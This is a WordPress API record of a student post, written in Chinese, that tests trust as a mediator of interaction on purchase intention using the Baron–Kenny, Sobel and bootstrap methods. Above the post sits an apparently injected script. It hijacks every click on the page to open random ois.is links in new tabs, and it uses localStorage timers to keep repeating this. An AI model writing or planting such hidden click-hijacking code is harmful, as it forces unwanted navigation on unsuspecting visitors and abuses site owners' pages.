<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1260,"date":"2023-10-17T18:09:38","date_gmt":"2023-10-17T10:09:38","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=1260"},"modified":"2023-10-17T20:10:53","modified_gmt":"2023-10-17T12:10:53","slug":"week4-%e5%a4%9a%e8%ae%8a%e9%87%8f%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=1260","title":{"rendered":"WEEK4 \u591a\u8b8a\u91cf\u5206\u6790"},"content":{"rendered":"<p><strong><span style=\"color: #003366;\">\u6aa2\u9a57<\/span><\/strong><strong><span style=\"color: #003366;\">\u4fe1\u4efb\u662f\u5426\u70ba\u4e92\u52d5\u5c0d\u8cfc\u8cb7\u610f\u9858\u5f71\u97ff\u7684\u4e2d\u4ecb\u8b8a\u9805? \u7528\u50b3\u7d71BK\u65b9\u6cd5\u3001Sobel\u6cd5\u3001\u8207\u62d4\u9774\u6cd5\u6aa2\u5b9a\uff0c\u4e26\u8aaa\u660e\u6aa2\u5b9a\u7d50\u679c\u3002<\/span><\/strong><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><strong>\u50b3\u7d71BK\u65b9\u6cd5<\/strong><\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"size-medium wp-image-1269 alignleft\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u87a2\u5e55\u64f7\u53d6\u756b\u97624-1-2-300x155.png\" alt=\"\" width=\"300\" height=\"155\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u87a2\u5e55\u64f7\u53d6\u756b\u97624-1-2-300x155.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u87a2\u5e55\u64f7\u53d6\u756b\u97624-1-2.png 768w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>\u21d2\u900f\u904e\u7e3d\u6548\u679c0.633\u8207\u76f4\u63a5\u6548\u679c0.424\u53ef\u4ee5\u7b97\u51fa\u9593\u63a5\u6548\u679c\u70ba0.209\u3002(0.633-0.424=0.648*0.323)<\/p>\n<p>\u21d2\u7531\u65bc\u4e92\u52d5\u5c0d\u8cfc\u8cb7\u610f\u9858\u8207\u4fe1\u4efb\u7686\u6709\u986f\u8457\u5f71\u97ff\uff0c\u4fe1\u4efb\u5c0d\u8cfc\u8cb7\u610f\u9858\u4ea6\u6709\u986f\u8457\u5f71\u97ff\uff0c\u53ef\u77e5\u4fe1\u4efb\u70ba\u4e92\u52d5\u5c0d\u8cfc\u8cb7\u610f\u9858\u5f71\u97ff\u7684\u4e2d\u4ecb\u8b8a\u9805\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"text-align: left;\"><strong>Sobel\u6cd5<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: left;\"><img loading=\"lazy\" class=\"size-medium wp-image-1271 alignnone\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/4-2-300x292.png\" alt=\"\" width=\"300\" height=\"292\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/4-2-300x292.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/4-2.png 450w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2\u9593\u63a5\u6548\u679c=0.6481065*0.3232119=0.2094757\u3002<\/p>\n<p>\u21d2z.value=0.2094757\/0.04344925=4.821159\uff0c\u986f\u8457\uff0c\u53ef\u77e5\u4fe1\u4efb\u70ba\u4e92\u52d5\u5c0d\u8cfc\u8cb7\u610f\u9858\u5f71\u97ff\u7684\u4e2d\u4ecb\u8b8a\u9805\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><strong>\u62d4\u9774\u6cd5<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: left;\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1276\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/4-6-300x136.png\" alt=\"\" width=\"300\" height=\"136\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/4-6-300x136.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/4-6.png 569w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2\u4fe1\u4efb\u662f\u4e92\u52d5\u5c0d\u8cfc\u8cb7\u610f\u9858\u5f71\u97ff\u7684\u4e2d\u4ecb\u8b8a\u9805\u3002<\/p>\n<p>\u21d2\u9593\u63a5\u6548\u679c\u70ba0.209\uff1b\u76f4\u63a5\u6548\u679c\u70ba0.424\uff1b\u7e3d\u6548\u679c\u70ba0.209+0.424=0.633\u3002<\/p>\n<p style=\"text-align: left;\">\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6aa2\u9a57\u4fe1\u4efb\u662f\u5426\u70ba\u4e92\u52d5\u5c0d\u8cfc\u8cb7\u610f\u9858\u5f71\u97ff\u7684\u4e2d\u4ecb\u8b8a\u9805? \u7528\u50b3\u7d71BK\u65b9\u6cd5\u3001Sobel\u6cd5\u3001\u8207\u62d4<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1260"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1260"}],"version-history":[{"count":13,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1260\/revisions"}],"predecessor-version":[{"id":1284,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1260\/revisions\/1284"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1260"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1260"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1260"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}